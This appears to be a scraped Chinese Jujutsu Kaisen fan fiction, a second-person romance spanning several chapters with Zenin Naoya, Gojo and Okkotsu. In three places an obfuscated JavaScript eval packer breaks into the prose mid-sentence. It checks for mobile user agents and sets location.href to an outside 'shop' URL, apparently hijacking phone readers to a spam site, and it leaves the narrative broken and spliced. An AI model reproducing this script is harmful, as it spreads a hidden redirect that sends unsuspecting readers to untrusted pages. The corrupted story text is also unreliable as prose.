“你把我当什么了!等待丈夫回家的家庭主妇吗?”直哉委屈到爆炸,但是吼完你亲了他一口,他又沉默了。 你和五条悟的正事当然是无量空处,他需要你成为他的底牌和复制品,即使不能和正版一模一样,但是在紧要关头能定住敌人几分钟也可以了。这件事需要对所有人绝对保密,不然就不叫底牌了。 直哉对于你俩隔三差五出去这件事吃醋到达顶点,毕竟五条悟完全符合你慕强慕颜的要求,他都思考过,如果哪天他被什么人杀了,你一定会立刻和五条悟在一起!说不定是欢天喜地的那种…… 他也这样问了。 听了直哉的问题,你眉头轻轻皱起:“直哉,如果你真的死了,我和五条老师在一起有什么问题吗?我需要孤独终老你才高兴吗?” 你承认确实对五条悟很心动,但是那只是对他颜值和实力的认可,并没有真的要和他在一起的打算,因为五条悟身上有一个致命的缺点:他绝对不会死心塌地听你的话,他不是你可以驯服的小狗。 五条悟是完美的,可是他不属于你,他有太多需要做的事情,有太多需要照顾的人,有太多咒术界的责任…直哉就不同了,他金绿色的漂亮眼睛里全都是你,你就是他的女主角,不选他才比较奇怪吧? 你能感觉到五条悟特别爱逗弄你,对你的关注远超其他异性,在一群人里他永远第一个看到你,但是你很清楚的明白,你只是五条悟眼里一个特别漂亮有趣的小玩具,是他玩具箱里最想玩的那一个,他有主人的自觉,你也有主人的自觉,两个主人是不可以在一起的! “你!”直哉被你的话气个半死,他想说你就不能像那个莫名其妙来家里做客的乙骨忧太一样,永远只爱一个人吗?就算做不到,你就不能说两句好听的话骗骗我吗? 他在无能狂怒,你却抚上了他的脸,轻轻舔了舔他的鼻尖。 “直哉不要死不就好了吗?都是特别一级咒术师了,还不能掌握自己的生死吗?”你的语气理所当然,“有我这么漂亮优秀的女朋友,你难道还做不到保持活着吗?我又没有强求你解决寿命差那件大事,那件事我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181957|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会……如果连活着这点小事做不到,你活该被我遗忘。” “你…”直哉想发怒,但是你已经开始亲他了,亲他的鼻子眼睛和嘴巴,吻细密流连在他的脸上,他气鼓鼓地把你搂住,气势全无,他闹别扭一般地哼声问你,“你有没有亲过五条悟?” “他有无下限。”你很老实回答,言下之意就是不可能。 你其实撒谎了,为了方便学习无量空处,你是五条悟无下限的白名单,但是说出来直哉又要吃醋多想,觉得你是五条悟心里特别的人… “如果他没有无下限呢。”直哉闷闷地说。 “不管是亲吻还是其他,我只有你,就像你只有我一样。”你靠进他的怀里,轻声道,“放心吧直哉,如果我没有这样的术式,五条悟根本不会看我一眼,你喜欢我,不代表其他人也必须喜欢我。” “我们之间难道不是爱吗?”直哉很执拗地说,“你表白,现在,立刻,马上,给我表白。” 他紧紧箍着你的腰,以防止你和以往无数次一样溜走。 禅院直哉想听你告白,于是你说:“直哉你的脖子太粗了,胳膊也是,还有性格也很烂,但是你的脸实在是漂亮,术式也还不错,最重要的是你很听我的话,所以你是我的最爱。” 如此深情的告白让直哉感动到说不出话来,因为他只听进去最后一句话,他是你的最爱。 “那你要永远最爱我。”他收紧双臂,将你抱得更紧。 “如果你可以永远美丽、强大、听话……”你的小手抚过他的脑袋,眨眨眼,“最重要的是要听话,要做我忠诚的小狗。” “……浅川离,你能不能做一个健康一点的人?谈那种健康的恋爱?为什么一天到晚想让男人当狗啊?”他崩溃大喊,想让你清醒一点!做一个阳光开朗健康的女孩子! “你不是也让我喊你……吗?”你不假思索地问。 “那不一样!我那是在……的时候,你是随时随地想让我当狗!就那么喜欢我当狗吗?”直哉气呼呼地开始啃着亲你,“我可是禅院的嫡子!你能不能尊重我一点!” “那等你嫁过来再当狗吗?”你很是无辜地看向他,“那也行……” “我就不能当人吗!”直哉气急败坏喊了出来,虽然是问你,但是他心里有答案。 确实不能当人了……他已经把忠诚和畏惧刻入骨髓,身体和灵魂都是你,是浅川离的形状了。 …… 你们一直在东京,直哉把禅院的事务基本上都交给了甚一和兰太,至于扇?直哉就当他是死了,反正他也没把直哉当活的。 躯俱留队的人应该挺高兴直哉去了京都,他们也会暗自讨论那个不可一世的大少爷要做赘婿了,不过直哉都只当不知道,顺便还告诉了传话的人不用再传,他对禅院人的反应不感兴趣。 你以为直哉已经放弃了家主之位,他却眯起了那双总是傲慢刻薄的金绿色凤眸,似笑非笑地说:“谁知道呢?也许到最后老头子会到处求人做家主呢……说不定还要求到我们头上来。” 你稍微思考了一下,伏黑惠很可能不愿意回去,真希姐妹实力不足,甚一只想变强,兰太年龄比虎杖还小,至于扇……这是最不可能的,直毘人疯了才把家主之位传给这个毒蛇一样的兄弟,如果扇当上家主,他连女儿们的死活都不管,更不会庇护任何人,他绝对不能当家主。 只要伏黑惠拒绝回归,家主之位落回直哉手里的可能性其实是非常大的,他虽然风评差,但是他实力足够,也有管理家族的经验,现在他还有乐岩寺家这个坚强后盾。 “说不定我能带着禅院嫁给你呢。”直哉现在对入赘这件事已经比较看开,他半开玩笑地说,态度轻慢吊儿郎当,但是说的却是真心所想。 “那我敬候佳音。”你其实并不期待,带着一群人的直哉和只属于你的直哉,怎么想都是后者更好呢。 五条悟还是一周至少来找你三次,你每次回来的状态越来越好,偶尔都不需要五条悟的搀扶,可以自己走回来了。他对你的称呼也慢慢从小离变成了离,偶尔还会叫你猫猫、小猫猫之类的奇怪昵称,直哉对此非常生气,你倒是没有太多的感觉。 直哉认为这是一种暧昧,可你却觉得,这是一种对物品的爱不释手。 倒不是说五条悟物化你,而是在他眼里,你就好像一把他亲自雕琢的咒具一般,很早以前他就说过‘小离好像咒具’,这应该也是他的心里话。 当你能顺利施展无量空处之时,就是这把咒具成型之日。 你曾经问过五条悟,不担心你用无量空处对付他吗?五条悟用那双天海相接一般的漂亮眼睛认真注视着你,说老师很相信离哦,离你和乐岩寺老爷子是一样的呢。 是愿意遵守秩序的现实主义者。 “谁知道呢。”你这样回答五条悟,眼神有些闪躲,你心里始终存在着受肉这件‘阴谋诡计’,你和诅咒师的距离也许只有一步。 只要事情和直哉有关,你的决策都会有些论外。 ‘我可能比自己想象的还要爱你呢。’你看向身侧直哉的睡颜,伸手刮了刮他挺翘的鼻子,然后坏点子生成,捏住不让他呼吸,一直到直哉被憋醒你才松手,马上转身装睡然后被制裁。 45.第 45 章[番外] 直哉这一觉睡得并不安稳。 他真的很想问问你这只奇奇怪怪的小猫到底在想什么,为什么被亲也不反抗,一脸的云淡风轻。 他禅院直哉的初吻那么不值钱吗?他的雄性荷尔蒙就不能勾起你的悸动吗?他在你面前不算是男人吗?即使你年轻还不知人事,好歹也礼貌脸红一下吧! 那副随意的样子,就好像和不熟的人告别握了个手一样潇洒离开……到底在搞什么东西啊浅川离! 心神不宁的直哉在训练中频频走神,导致躲避不及,尊贵的、美丽的、修长的少爷手被陪练的长矛扎中,要知道手可是发动投射咒法的关键部位! 照理说他应该勃然大怒,将对面那个胆大包天的白痴暴揍一顿,但是直哉居然挥挥手让他走了。 这是一个很好的机会呀……他看着鲜血淋漓的手,很是淡定地吩咐医生过来包扎,要求包得厚厚的,要看起来比实际受伤严重才行。 他知道两日后乐岩寺会举办赏花宴,届时必然邀请御三家,以往他不会参加这些庸碌之徒的聚会,这次却是一定要去的。 在他的预想中,你一定会好奇看向他的伤手,然后问一声怎么了?直哉并不觉得你是个白雪公主,但是好奇心总有的吧? 禅院直哉是强大的特别一级咒术师,到底是怎么受的伤呢?是遇到了特级咒灵,还是狡猾的诅咒师?他在心里推演着和你将要发生的对话。 …… 赏花宴当日,直哉依然是那一身大正风的日式打扮,却在脖颈和手腕都喷了tomford的男香,戴了金属质地的时髦耳骨钉,穿了新买的奢牌白衬衫,连足袋袜都换了灰色的,这样看起来更青春一些。面上他没把‘老’字当回事,但是心里还是有一点点介意的。 在侍从的引路下,直哉越过重重走廊到达了乐岩寺宅的后院,已有许多人到达了,包括他那个一天只能制造一颗子弹的堂妹真依,直哉无暇顾及他人,只在人群里寻找你可恶又可爱的银白身影。 他的眼神很快锁定了你,你美丽惹眼,静静站着就好像一树白梅,看到你小鸟依人地站在加茂宪纪的身边,直哉就不高兴,在心里暗贬他是卑贱的庶子。 “呵……”看着你们两人言笑晏晏。直哉产生了一种自己的东西被人染指的恼怒,好在他还记得自己的年龄,作为一个成熟男人,急吼吼地冲过去搭话实在是没有格调,他决定静待时机,就像老鹰抓兔子一般,最好一击就中。 你有一搭没一搭地回答着宪纪的问题,你们谈论的大多是任务和咒灵。你突然察觉到禅院直哉在看你,你看过去发现他的手受伤了,心说这男的好没用啊…… 外公呼唤你,你和宪纪短暂告辞,然后乖巧走到乐岩寺的身边见客。 客人语气夸张地夸你美丽聪慧,说如今咒术界再也找不出像你这样优秀的小姐。你很恰当地表现出谢意和谦卑,其实在心里非常认同,你确实非常棒! 漂亮是公认的自不必说,你有咒力有术式,还是乐岩寺的唯一继承人,你不嫁一个家主都有点可惜了。 而且必须是帅的家主! 在应对客人褒奖的同时,你能感受到禅院直哉的视线不断落在你的身上,灼热得就好像他在触摸你的皮肤一样。 结婚对象选禅院直哉怎么样? 你思考了一下,发现他并不是一个好选择,他父亲直毘人今年七十二岁,在咒术界这种不太讲物理的地方,只要年轻的时候没有死在任务里,老了活上一百多岁轻轻松松。 如果三十年后你的丈夫才能当家作主,那也太憋屈了! 此外你调查过,禅院家的秘传术式落在外流血脉的身上,那人你也知道,是五条家主的养子伏黑惠,明年就要入学东京高专一年级了。 禅院直哉不但需要等待,而且还不一定能等得到,除了那张非常漂亮的脸和柔软的嘴唇,好像没有优点了。 乐岩寺和客人要去看他新得的山石,你鞠躬目送他们离开后,打算一个人四处走走,却没有成功。 在拐角处你被一双大手拦腰拉了过去,你不用看就知道是谁。 是禅院直哉呗。 你拍打他:“轻点,疼。” 他闻言放轻了动作,但还是箍着你的腰半扶半拽着把你拉走。 他把你拖到了庭院深处一棵巨大的樱花树下,这棵树已经有五百多年的岁数了,用咒力维持着四季开花。即使现在已经是深秋,它还枝繁叶茂,挂满了粉粉白白的花朵,地上也铺着厚厚的落花。 这是一个极美的地方,很适合谈情说爱。 禅院直哉色厉内荏地将你抵在树干上,双手撑在你的身侧,上挑的凤眼不动声色地观察着你的表情,仿佛要仔细辨认你是否说谎:“你和加茂宪纪是怎么回事?为什么站得那么近?你这个……你就这么喜欢勾搭男人吗?” 他这话可以说是失礼至极,首先你和宪纪又没有做什么非礼的行为,再说了你俩怎么样和他有什么关系啊? 即使被按在树上,你的表情依旧淡定,甚至微微歪了歪头表达疑惑:“禅院先生,你有什么立场管我?不就是接了个吻吗?” 看着你玻璃珠一样清透漂亮的眼睛,直哉十分的火气就减了一半,但是听你小嘴里说出来的诡辩,他的火气又‘蹭’地上来了,他金绿色的狭长凤眼死死盯着你,好像想看到你心虚。 你当然不会心虚!你理直气壮! “不就是接了个吻吗?”他模仿着你的语气,语调低沉,夹着碎冰一般,“呵!” “嗯?”你不以为意,脸上写满了:这人在发什么疯。 直哉只觉得血压都在飙升。 你看着他气急败坏的样子,忽然轻轻叹了一口气,语气里带着无奈和纵容,仿佛在安抚一个不懂事的小孩:“你好小气,禅院先生,不就是亲了一下吗?” 你突然抬手,在他的惊愕中踮起脚环住了他的脖子,在他愣神的瞬间,用力将他一推。 直哉措手不及,或者说他的潜意识就没想抵抗,仰面倒进了落地的落樱花堆里,花瓣随着他自身的重量而飞扬,钻入了他的发间肩头。他还没来得及做出反应,就见你俯下身来,银白色的长发如瀑布般落下,遮住了你们的脸。 你的吻轻轻落下。 这个吻,和上次直哉主导的那个带着情绪的完全不同。它缓慢而绵长,带着一种若有似无的挑逗和绝对的掌控。你好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183988|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像在品尝什么甜品一般,在直哉的口腔中一点点探索,一点点加深,直到直哉的大脑彻底空白,直到他忘了呼吸,最后世界都只剩下你微微凉的唇,和漫天的樱花香气。 不知过了多久,你玩够了,抬起头,像探索世界的初生小猫一般好奇地看向直哉涨红的漂亮脸蛋。 对你来说有些庞大的禅院直哉,此刻躺在樱花堆里,眼神涣散,表情彻底呆滞。 你起身,施施然地整理了一下和服的袖口和领子,将它们变回平整的状态,语气也恢复了之前的微冷,嘴角却是微微上翘:“好了,还给你了,两清了。” 说完你头也不回地走了,留直哉一个人躺在花瓣里,像一只短暂失去了主人气息的大型犬。 禅院直哉好像宕机了,正在重启中。 ‘发,发生了什么……’ ‘她亲了我?!她主动的?!’ ‘她说还给你……两清了?’ ‘什么叫两清?!谁要和她两清啊?’ ‘她笑了,这是什么可笑的事情吗?给我害羞啊小混蛋!’ ‘她到底想干什么?她到底是什么意思?’ ‘她的嘴唇好软,舌头好小,她好香……’ ‘她的脖子白生生的,纤细柔软,好像随手就能掐断……这么弱的女人居然敢亲我……’ ‘我……我变得好奇怪。’ 他慢慢将手挪到心口,那里正剧烈跳动着,这实在是超出了他的人生经验,也超出了他对自己的预期。 禅院直哉怎么能因为一个小丫头心跳加速啊?虽然这个小丫头确实有点好看,有点神秘,有点吸引人。 ‘那个没有心的坏女人!她根本没注意到我的手受伤了!一句客气的关心都没有!’ 禅院直哉所不知道的是:你注意到了,并且认为这男的好没用。 他久久躺在花瓣堆里没有动作,望着头顶花树间隙洒下的斑驳光斑,心脏在狂跳,大脑却已经一片空白。良久,禅院直哉才僵硬地抬起另一只手捂住自己的脸,发出了一声意味不明的呜咽。 是崩溃还是沉沦,他也不清楚了…… …… 你走在回廊上,脚步依旧平稳,只是琥珀色的玻璃眼珠里,多了一丝你自己也没有察觉的兴味。 ‘禅院直哉挺有趣的。’ ‘都快三十岁了,还这么容易炸毛,逗起来挺有趣的。’ ‘嘴唇很软,身上也香香的。’ ‘如果把他的眼睛遮起来……鼻子和嘴巴还是挺像那个人的喔?’ 想到这里,你的脚步都轻快了起来,是因为找到了有趣的玩具?还是因为别的什么?你不太清楚。 你坚信:上天赋予了你咒术和美貌,你必然是要嫁给家主的,禅院和加茂家的家主都是老头子,那么你选择的,毋庸置疑是五条悟了! 虽然你只在小时候见过他,但是没关系,不认识就去认识,他也是个男人,总是需要一个妻子的吧? 你这只封建小橘子,做着嫁给五条家主的美梦,亲懵了禅院的少主,回到宴会厅,站到了加茂少主的身边,从他手中接过一杯温热的红茶。 真是坏猫!坏猫! 46.第 46 章 乙骨忧太日常拜访你和直哉在东京的新家。 你们在乐岩寺宅的时候他来,你们搬回修缮好的五条旧宅后他还来,大有一种生死相随之感,连他的同学熊猫、真希、狗卷都怀疑他暗恋你。 虽然你和乙骨极力否认,直哉也生气表示别乱说!这家伙到我家坐着都不说话! 不管怎么说,他一个单身男性一天到晚赖在你家,怎么都很让人怀疑你和他是不是有什么特殊关系,熊猫甚至怀疑你们三个在燃冬。 在第N次乙骨忧太莫名其妙登门拜访后,直哉终于忍不住赶客了,他笑得优雅,好像在真心问候,又好像为他担心:“忧太君,你是不是没有自己住的地方呀?我记得这个世界上有一种东西好像叫宿舍哦?” 他说的咬牙切齿,阴阳怪气,非常老京都人。 直哉少爷为了和你二人世界,不被打扰又有人伺候,直接在隔壁买了一套房子给侍女管家住。此时你坐在沙发上,喝着侍女早上送来的鲜榨凤梨柠檬汁玩手机…闻言抬起头来:“直哉,乙骨他不是来找我们的,你别管他就是了。” “哈?”直哉认为你脑子坏掉了,“我们不管做什么他都在边上,这还不算来找我们吗?他这样是骚扰!” “抱歉,禅院先生……”乙骨很是不好意思地说,“是里香她……” “是里香来找爸爸玩。”你一本正经地说道,“他俩最近玩的很好。” 直哉瞄了一眼桌上的爸爸刀,再看乙骨,只觉得这个世界有点疯癫了。 “你是说,爸爸和特级咒灵交了朋友?”直哉有点想笑,“还是大白天,就说什么梦话……” 他的话没说完,就感受到一股强烈的寒意,虽然里香没有现形,但是威压释放了出来,明显是很不喜欢直哉这种欠欠的说话方式。 直哉下意识地把你拉到身后,警惕地看向一脸无辜的乙骨忧太。 爸爸刀发出一声刀鸣,那股寒意便立刻消散不见。 就好像他安抚了里香一样。 乙骨的脸上有些难以描述的光彩,他非常高兴地说:“里香很听叔叔的话,他们很有话聊……这大概就是忘年交吧?” “忧太君,你说这种话的时候不会觉得很奇怪吗?”直哉松开你,很是不满地看向乙骨,语气轻蔑,“物种都不一样怎么做朋友啊?而且…咒灵真的有完整的意识可以交朋友吗?” 你有些不高兴地看直哉:我是狐狸后代,和你物种不同,不也和你在一起了吗?笨蛋直哉在说什么小猪话。 在你的角度看来,里香会和你爸爸成为朋友,实在是太正常了。 一个是为爱被诅咒,一个是为爱做刀,关于‘爱’的话题他们应该能聊一整天,再加上乙骨忧太,他每次都是一脸赞同和兴致勃勃,三个恋爱脑聚在一起有说不完的话! 你和他们可不一样,如果直哉变成里香那种样子,你肯定麻溜跑了,换直哉遇到这种情况,他也会和你做一样的选择。 “浅川同学,我有一事相求。”乙骨先看了看爸爸刀,又摸了摸挂在脖子上那枚和里香定情的戒指,“我希望你可以帮我找到浅川,把我送到界碑处即可。” 你警觉,拒绝的话几乎要脱口而出。 开玩笑!你把特级咒术师送到浅川去?那帮特级咒灵的事情还没完,我方就要因为恋爱脑折损一员大将吗?不行不行绝对不行!你真想找个什么东西打一下乙骨的脑袋,让他清醒一点! 乙骨在你拒绝之前抢先说话:“狐狸叔叔说可以把我的咒力做成一颗用妖力包裹着的球,可以用它当作交换条件,把里香变成妖怪……” 你用看珍稀动物的眼神看他。直哉这次罕见地没有尖酸刻薄地讽刺他异想天开,而是一脸的若有所思。 乙骨解释具体情况。 总而言之就是非常离谱,爸爸刀告诉里香,里香又告诉乙骨,他认识一只狐狸大妖,非常强大,连他佩刀上的雪人装饰都被他用妖力转化成了大妖……所以将装着里香的戒指变成妖怪是可行的。一旦里香从咒灵变成了妖怪,就有了修炼成人形的可能性,至少不用再痛苦地做神志不清的特级咒灵了。 “五条老师肯定不同意吧!”你还想挣扎一下,乙骨却说五条老师知情且同意了。 “不用担心,我会给自己留下至少一级咒术师水平的咒力,不会给大家拖后腿的!”乙骨的眼神都要实质化成狗狗眼了,他是真的真的非常想实行这个计划,至少让里香不再痛苦! 你不太信他,直哉却说这像是五条悟会答应的事情,他本来就疯疯癫癫的。 你谨慎地给五条悟打了电话,他语气轻松地说他知情哦,而且这是好事呀!对于忧太来说,如果失去全部咒力可以换回里香的生命,他一定也是愿意的吧?更何况也不是用全部咒力换的嘛! 他知道你在担心什么,朗声笑着安抚你:“离你别担心,我可是最强的!就算没有忧太也能对付那些特级咒灵!让他和里香去做想做的事吧!” 五条悟都同意了,你好像一下子找不到什么拒绝的理由。 于是乎,在圣诞节前夕,你让乙骨戴上直哉戴过的狐狸耳朵尾巴,带着爸爸刀,你们三人一刀一咒灵在深夜出发了,虽然直哉没有什么去的必要,但是他一定要一起,你也就随他,帮你们开一下车也好! 其实连你都不需要去!让乙骨带着爸爸刀就能找到浅川,可是你担心他热血上头直接陪着里香留在了浅川……那你的绝世好刀,不,绝世好爹!也就留在浅川了。 并不是担心乙骨,而是担心爸爸刀! …… 直哉将车停在一个偏远的车站,你们三个咒术师下车,深更半夜在森林边乱走,在你这个‘浅川关联者’的带领下,很快就见到了那块名为‘浅川’的界碑,乙骨带着爸爸刀制作的、用妖力包裹的、像洗衣凝珠一样的咒力球,和里香戒指一起,毅然决然地走进了浅川。 你和直哉紧张地看着乙骨跨入浅川,在路上你就担心里香在进入浅川的那一秒会在戒指里蒸发,毕竟浅川是无咒力地区。但是你又信任爸爸,他不可能让里香莫名其妙来送死的! “直哉,乙骨还会回来吗?”你有些紧张地看着乙骨的背影,生怕他恋爱脑上头(虽然现在已经很上头了)留在浅川。 “谁知道呢,他是疯子。”直哉面露不屑,“为了那么丑陋的咒灵,连特级咒术师的咒力都可以放弃,太没出息了……” “是啊,真是不划算,怎么都是自己拥有力量更重要。”你心情复杂地接下直哉的话。 “离,如果是你和我,我是咒灵,你绝对不会这样做吧?”直哉状似随意地问,“比如为了我放弃咒力,让我从混沌的咒灵变成有正常灵智的妖怪。” “那是当然,咒力那么重要,我才不想变弱。”你用看笨蛋的眼神看他,“而且……里香都不是人形了,就算变成妖怪应该也很可怕吧?” 你觉得这真的有点难以接受,于是抱臂摸了摸鸡皮疙瘩,心里也有些愧疚:很早以前你腹诽乙骨是因为里香漂亮才爱得深沉,现在看来是你以小人之心度君子之腹了,里香都变成这样了,乙骨还愿意用大部分咒力救她,确实是真爱。 “哼。”直哉就知道你会是这样的回答,其实他也考虑过死后变成咒灵跟着你,但是看你这副样子,呼叫五条悟来祓除他的可能性,是板上钉钉的,你不可能和乙骨的选择一样,你不会用咒力交换,将咒灵变成妖怪然后长相厮守…… 他自问如果是你变成了咒灵,那不管付出什么代价,他都是愿意救你的,因为你是他禅院直哉的重要资产,也是他真实能握住的唯一。 ‘真是坏猫,作为女人,为什么就不能和乙骨忧太一样恋爱脑呢?’直哉撇撇嘴,只能先不去想这些让人不快的如果。 其实你小时候不这样,也是有很可爱的时候的,他看着你,思绪飘到了很久以前。 在你还是个雪团子的时候,会做很多莫名其妙的事情。 某天他正在书房写作业,你突然蹬蹬蹬蹬地跑了进来,围着他团团转,叽叽喳喳地要求他抬头看你一眼。 “干什么……我在忙。”少年直哉有些不耐烦地从作业里抬头,然后就惊讶地看到你一脸是血,仔细观察一下出血点是在鼻子,你流鼻血了! 他的第一反应是逻辑上的困惑:这小孩是不是傻?流鼻血不应该立刻处理吗?为什么让我看? 他本能地嫌弃起来:“啧,别弄在地上了,脏死了!” 同时他又有些慌乱:流了好多血,不能一直这样,得止血。 他嘴上斥责着你是白痴,转身呼叫了年长侍女进来,让她立刻为你止血。 事后他神情复杂地问你:流鼻血了干嘛要来找我。 你的眼睛和星星一样闪闪发光,仰起小脑袋,一脸天真无邪:“我也不知道呀直哉哥哥,只是不管发生了什么事情,我都第一时间想和你分享!” 流鼻血对你来说是一件小概率的事件,就像流星划过天空一样转瞬而逝,虽然你也不知道这有什么好看的,但是就想第一时间告诉直哉。 小时候的你坚信直哉是你的世界中最强大的存在,他无所不能又绝对可靠!当出现了异常事件,只要找到他,一切都可以解决! 那时候的坏猫可真是太可爱了……直哉收回思绪,凝视着你随着年龄增长愈发美丽的眉眼,看到几乎要发呆:漂亮是真的很漂亮,坏也是真的坏,就连说点好听的话哄骗他都不愿意。 “干嘛看我?”你注意到了直哉久久没有移开的目光,干脆往他身上一扑,想把他扑倒在地,可是直哉实在是有些大,居然纹丝不动。 “干,干什么?”直哉有些警觉,他看到你琥珀色的眼珠子转了转,大概又是什么坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“乙骨?你看了多久了!”你脸红,虽然你不觉得亲自己的男朋友有什么不对,但还是不想被人看……特别是这个有点奇怪的乙骨忧太!他这副坦然的样子让你很不爽! “我回来了大概十分钟,看你们在忙就没有打扰。”乙骨微笑起来,他如释重负一般,“我的事情已经解决了,里香说她会尽快变强,总有一天会以人类的外形回来找我。” 他不等你们回答,自顾自地说:“其实她是什么形状都没有关系,只要有清楚神智就好了,浑浑噩噩的太痛苦了。” 你坐在直哉的怀里,闻言和他双双愣住。 ‘如果坏猫也这样想就好了。’ ‘乙骨忧太是不是疯掉了……很可怕的样子也没问题吗?’ 他的爱实在是太纯粹真挚了,让你都自惭形秽了! 你不禁开始思考,如果直哉变成了一个恶心的咒灵,你要不忍忍算了?捏着鼻子接受他… 但是……直哉选择你也是因为你漂亮呀!你当然也需要一个漂亮的直哉!乙骨这种人是罕见的极品,也是论外之男,不能相提并论! 直哉没有可能变成咒灵吧?你又觉得自己是有点杞人忧天了,他是禅院嫡子,有什么变成咒灵的理由吗? 回程你和直哉都觉得乙骨真的不一样了:他失去了可怕的咒力量,变得和其他的一级咒术师差不多,可即使损失巨大,他还是笑盈盈的,一点都没有因为失去庞大的咒力很感觉到可惜。 “如果可以让里香复活,全部咒力都给她也没关系。”他看着天上的月亮,说出了和五条悟电话里猜测的一样的想法。 “我和里香约定好了要永远在一起,我会一直一直等着她回来。” 你都有些佩服乙骨忧太了,想到爸爸刀也曾经跟着妈妈住在你们的世界,你相信里香总有一天也可以回来的。 “就是有些对不起同学们……我变弱了,很害怕帮不上忙。”乙骨稍微露出了一点失落,不过很快他又重振精神,“我会努力的!争取不拖大家的后腿。” 即使刻薄如直哉,此刻也无法对乙骨说什么难听的话,他一脸羡慕地看向乙骨,暗自向神祈祷你也能有乙骨十分之一的良心就好了。 你后知后觉地想到,里香不在乙骨身后了,你就没有渠道知道爸爸刀的想法了。自私如你心中大叹可惜,但是因为现在的气氛,你也不好意思计较这些。 你们很快回到了车站,直哉的车就停在附近。你们三人上了车,乙骨坐在后座,你频频从后视镜观察他:这家伙一脸满足快乐,真心实意地在为里香的解放高兴,你好像是第一次看到乙骨露出那么轻松的表情。 ‘我能不能也这样爱直哉呢?’你开始为难自己。 想了一下里香的样子,再考虑到咒灵千奇百怪,如果直哉变成咒灵可能会更丑!你马上收回了这个想法,善待自己,不要假设,不要为难! 47.第 47 章 乙骨跟着你俩出去一趟后咒力大降,这让东京校二年级的同学们非常惊讶,你和直哉本来在他们的眼里就不是阳角。这之后偶尔相遇,他们的眼神里多了些谨慎和敬畏,大概是觉得你有什么吸人精气的妖法吧? 对此你有点遗憾,如果他们的设想是真的就好了,白得那么多咒力想想就爽!可惜咒力都给了浅川那个大妖…你突然想到了什么一般看向爸爸刀,问他有没有拿点咒力回扣,爸爸刀不语,应该是没有的。 没过几天,乙骨又要踏上国外出差的旅程,他走之前来和你们告别,你问他如果里香回来了怎么办? “哦,我们已经说好了,如果我不在,里香就来找你们。”乙骨笑眯眯,提到里香他自然而然会露出笑容。 直哉皮笑肉不笑:“呵呵,还真是自作主张呢忧太君。” 不过直哉其实并没有不高兴,烦人电灯泡终于走了一个,现在只剩下大麻烦五条悟了。 虽然只剩一个,但是这个是真的烦! 比如现在,他刚起床就看到客厅的长条大沙发上,你和五条悟像一大一小两只猫一样盘踞着,那个白毛癫佬吃着你最喜欢的动物饼干,还踩着你的拖鞋站起身。 “五条,你没有家吗?”直哉目测了一下沙发凹陷的痕迹,确定你俩没在沙发上拥吻,脸色稍霁,但是看到他那双大脚踩着你小小的毛毛拖鞋,又感觉超级不高兴! 五条悟哈哈一笑,他戴着墨镜,穿着休闲,端起吃空了的水果盘就往厨房走,好像和回了自己家一样熟门熟路……其实也没错,这个房子之前确实是他的。 “直哉,你怎么现在才醒嘛。”你有些小抱怨,刚和五条老师学习无量空处回来,身体好累,好想他过来给你按按脑袋。 直哉也嗔怪你,他想表达起得晚是因为你夜里缠人,话才刚起个头,就被五条悟打断。 “直哉君,怎么那么晚起来呀。”五条悟从厨房转了出来,他拿着新装了葡萄的果盘,吧唧吧唧吃了两颗,觉得有点酸了,立刻走到你身边往你嘴里也猛塞两颗。 “这个甜得要命,离也尝尝吧!” 你躲避不及就被连塞两颗葡萄,嚼碎了更是酸到你眯眼,你不高兴地伸手就去推五条悟,不让他继续欺负你。 “喂!五条!”直哉忍无可忍地上前阻拦,“我起那么晚是因为昨天晚上辛苦了!你这个单身不会理解的……别对我的女朋友动手动脚的!” 他突然发现你的手在五条悟的胸膛上推搡,没有无下限的隔绝,没有任何阻碍,那双白生生的小手就这样贴着五条悟的黑色上衣,贴在他的胸肌上!甚至因为你在用力,还把他的肌肉摁下去一块,就好像猫踩在人的肚子上一样。 ‘居然就这样碰到了……’ ‘五条悟的无下限没有对阿离启动?’ ‘他是不是真的想抢走她啊?不行,绝对不行,阿离可不是家主之位那种可以舍弃的东西!她是我的!谁都不能把她带走!’ ‘该死的五条悟!为什么总是盯着我的阿离不放啊?’ 直哉像应激了的狐狸一样冲到你俩的面前,一把将你牢牢圈进怀里,那双美丽的金绿色眸子几乎要喷出火来,他毫无畏惧地直视着五条悟墨镜下那无敌的六眼:“五条,别装疯卖傻的了!乙骨一天到晚来我家是有正事,你又是为什么啊?” “我也是有正事啊。”五条悟有些‘委屈’地摘下墨镜,用那双美丽得仿佛不似人间之物的眼睛看向你们,然后恍然大悟,“直哉是不是吃醋了?那你也吃……” 他说着塞了一颗看起来最酸的葡萄到直哉的嘴里,把他气的小脸都变红了。 “好啦好啦。”你能感受到直哉紧贴着你的胸膛剧烈起伏,知道屑狐狸是气得不轻了,你赶紧赶客,“五条老师,你先回去吧,别老来我家!” 